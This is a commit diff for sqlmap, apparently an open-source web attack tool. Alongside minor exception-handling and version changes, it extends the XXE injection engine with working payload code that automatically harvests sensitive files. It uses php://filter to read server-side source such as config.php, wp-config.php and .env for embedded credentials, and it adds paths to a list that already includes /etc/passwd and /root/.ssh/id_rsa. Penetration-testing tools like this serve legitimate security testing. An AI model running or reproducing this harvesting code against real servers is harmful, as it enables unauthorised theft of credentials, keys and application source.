Minor update

data/txt/sha256sums.txt

@@ -162,13 +162,13 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264  extra/shutils/
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  extra/vulnserver/__init__.py
 9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22  extra/vulnserver/vulnserver.py
 a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e  lib/controller/action.py
-0d1072ac052b65fca6da9975238b6f8816bc78603631b68ada4c7aea97f060e4  lib/controller/checks.py
+ce1f56cd5abcbb71a1074e7fe198de5d6e75353ed3eb1084f6cac657118df8cb  lib/controller/checks.py
 00d56cc59757cc3f3073ac20735ac9954ff06242b9433a96bd4186c090094db3  lib/controller/controller.py
 d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f  lib/controller/handler.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/controller/__init__.py
 48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6  lib/core/agent.py
 c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856  lib/core/bigarray.py
-c230a214023a6556648e6af485b42fbcd10f23d2cb9018ad7bc68e36f7241328  lib/core/common.py
+19989ca19194bf3f7a42a929b153e45c9a2177e01ab6ab63a5372daa5989c0e8  lib/core/common.py
 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5  lib/core/compat.py
 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9  lib/core/convert.py
 c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6  lib/core/data.py
@@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b  lib/core/enums
 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d  lib/core/replication.py
 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6  lib/core/revision.py
 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c  lib/core/session.py
-f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e  lib/core/settings.py
+df067f981efe10f6743eba13c48c9c1db158ff4e9d015831e5dbfa2ece80f7bf  lib/core/settings.py
 c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750  lib/core/shell.py
 a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64  lib/core/subprocessng.py
 69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2  lib/core/target.py
@@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c  lib/techniques
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/xpath/__init__.py
 c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734  lib/techniques/xpath/inject.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/xxe/__init__.py
-b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438  lib/techniques/xxe/inject.py
+97f3ea4342b11d57cf3bb25e2ba50dc5f561bc595c6c09eebcc2ed921d096a1f  lib/techniques/xxe/inject.py
 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e  lib/utils/api.py
 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2  lib/utils/brute.py
 da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718  lib/utils/crawler.py

lib/controller/checks.py

@@ -1283,7 +1283,9 @@ def checkDynamicContent(firstPage, secondPage):
             seqMatcher.set_seq1(firstPage)
             seqMatcher.set_seq2(secondPage)
             ratio = seqMatcher.quick_ratio()
-        except MemoryError:
+        except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
+            # difflib can fail on pathological input or, rarely, with interpreter-level
+            # errors under heavy threading; degrade to "undetermined" instead of crashing
             ratio = None
 
     if ratio is None:

lib/core/common.py

@@ -2344,9 +2344,14 @@ def showStaticWords(firstPage, secondPage, minLength=3):
     infoMsg = "static words: "
 
     if firstPage and secondPage:
-        match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
-        commonText = firstPage[match[0]:match[0] + match[2]]
-        commonWords = getPageWordSet(commonText)
+        try:
+            match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
+            commonText = firstPage[match[0]:match[0] + match[2]]
+            commonWords = getPageWordSet(commonText)
+        except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
+            # difflib can fail on pathological input / interpreter-level hiccups; skip
+            # the static-word hint rather than abort (see findDynamicContent / comparison.py)
+            commonWords = None
     else:
         commonWords = None
 
@@ -3363,7 +3368,14 @@ def findDynamicContent(firstPage, secondPage, merge=False):
     infoMsg = "searching for dynamic content"
     singleTimeLogMessage(infoMsg)
 
-    blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
+    try:
+        blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
+    except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
+        # difflib can blow up on pathological/oversized input (and, rarely, with
+        # interpreter-level errors under heavy threading); a failed dynamic-content
+        # search must degrade gracefully rather than abort the whole scan - mirrors the
+        # guard around the ratio computation in lib/request/comparison.py
+        return
 
     if not merge:
         kb.dynamicMarkings = []

lib/core/settings.py

@@ -20,7 +20,7 @@ from lib.core.enums import OS
 from thirdparty import six
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.10.7.29"
+VERSION = "1.10.7.30"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -1123,12 +1123,13 @@ XXE_IMPACT_FILES = (
 
 # Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
 # this curated set of high-value, fixed-path files (host identity, process env/
-# secrets, key material) - the XXE analogue of the automatic dumping the other
-# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests);
-# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES
-# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs
-# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user
-# gave an explicit '--file-read' (that targeted request is honoured verbatim instead).
+# secrets, key material, common application drop paths) - the XXE analogue of the
+# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each
+# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently
+# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids
+# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are
+# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted
+# request is honoured verbatim instead).
 XXE_FILE_HARVEST = (
     "/etc/passwd",
     "/etc/hostname",
@@ -1142,11 +1143,25 @@ XXE_FILE_HARVEST = (
     "/proc/version",
     "/root/.bash_history",
     "/root/.ssh/id_rsa",
+    "/flag",
+    "/flag.txt",
     "c:/windows/win.ini",
     "c:/windows/system32/drivers/etc/hosts",
     "c:/inetpub/wwwroot/web.config",
 )
 
+# Application web roots + source filenames used, once php://filter is available, to
+# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its
+# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter
+# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline,
+# environ}. Best-effort and bounded.
+XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app")
+XXE_SOURCE_NAMES = (
+    "index.php", "config.php", "config.inc.php", "secret.php",
+    "db.php", "database.php", "settings.php", "init.php", "functions.php",
+    "app.py", "server.py", "main.py", "wp-config.php", ".env",
+)
+
 # GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
 # an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
 # an error/exfil primitive, so no outbound network is needed. (path, entity_name).

lib/techniques/xxe/inject.py

@@ -29,6 +29,8 @@ from lib.core.settings import XXE_ERROR_SIGNATURES
 from lib.core.settings import XXE_FILE_HARVEST
 from lib.core.settings import XXE_HARDENED_REGEX
 from lib.core.settings import XXE_IMPACT_FILES
+from lib.core.settings import XXE_SOURCE_NAMES
+from lib.core.settings import XXE_WEBROOTS
 from lib.core.settings import OOB_POLL_ATTEMPTS
 from lib.core.settings import OOB_POLL_DELAY
 from lib.core.settings import XXE_LOCAL_DTDS
@@ -276,6 +278,77 @@ def _harvestFiles(xml, rootName):
     return harvested
 
 
+def _phpFilterWorks(xml, rootName):
+    """One probe: can the target read a file via php://filter (i.e. is it PHP)? Gates
+    the PHP-only source-code sweep so a non-PHP target does not pay dozens of pointless
+    requests for it."""
+
+    from lib.core.convert import decodeBase64
+
+    m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
+    ent = randomStr(8, lowercase=True)
+    subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">' % ent
+    payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
+    match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), getUnicode(_send(payload)), re.DOTALL)
+    if match and match.group(1).strip():
+        try:
+            return bool(getText(decodeBase64(match.group(1).strip())).strip())
+        except Exception:
+            pass
+    return False
+
+
+def _harvestSource(xml, rootName, harvested):
+    """PHP-only follow-up run once an in-band read primitive is confirmed: disclose
+    server-side application SOURCE code via php://filter (source is executed, never
+    rendered, yet its literals - credentials, tokens, embedded secrets - leak verbatim).
+    Candidate paths are derived from the already-harvested /proc/self/{cmdline,environ}
+    (running script + working dir) combined with common web roots/source names, and
+    de-duplicated against the host harvest by content. Skipped entirely on a non-PHP
+    target. Returns a list of (path, content, payload)."""
+
+    if not _phpFilterWorks(xml, rootName):
+        return []
+
+    byPath = dict((p, c) for p, c, _ in harvested)
+    seen = set(getUnicode(c).strip() for c in byPath.values())
+    candidates = []
+
+    dirs = []
+    environ = getUnicode(byPath.get("/proc/self/environ", ""))
+    match = re.search(r"(?:^|\x00)PWD=([^\x00]+)", environ)
+    cwd = match.group(1).strip() if match else None
+    if cwd:
+        dirs.append(cwd)
+    dirs += [_ for _ in XXE_WEBROOTS if _ != cwd]
+
+    cmdline = getUnicode(byPath.get("/proc/self/cmdline", ""))
+    for token in re.split(r"[\x00\s]+", cmdline):
+        if token and re.search(r"\.(?:php|py|rb|js|jsp|pl|cgi)$", token, re.I):
+            if token.startswith("/"):
+                candidates.append(token)                     # absolute script path
+            elif cwd:
+                candidates.append("%s/%s" % (cwd.rstrip("/"), token))
+
+    for directory in dirs:
+        for name in XXE_SOURCE_NAMES:
+            candidates.append("%s/%s" % (directory.rstrip("/"), name))
+
+    logger.info("attempting application source-code disclosure via php://filter")
+
+    result = []
+    read = set()
+    for path in candidates:
+        if path in read:
+            continue
+        read.add(path)
+        content, payload = _tryInbandFileRead(xml, rootName, path)
+        if content and content.strip() and getUnicode(content).strip() not in seen:
+            seen.add(getUnicode(content).strip())
+            result.append((path, content, payload))
+    return result
+
+
 def _tryInternal(xml, rootName, baseline):
     """T2 in-band: an internal general entity expands to the sentinel and is
     reflected. Guarded by a negative control (sentinel absent from baseline) and
@@ -716,7 +789,9 @@ def xxeScan():
             if harvested:
                 found = True
                 firstPath, _, firstPayload = harvested[0]
-                logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested))
+                # follow-up: server-side application source disclosure (php://filter)
+                harvested += _harvestSource(xml, rootName, harvested)
+                logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested))
                 _report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
                 saved = []
                 for path, content, _ in harvested: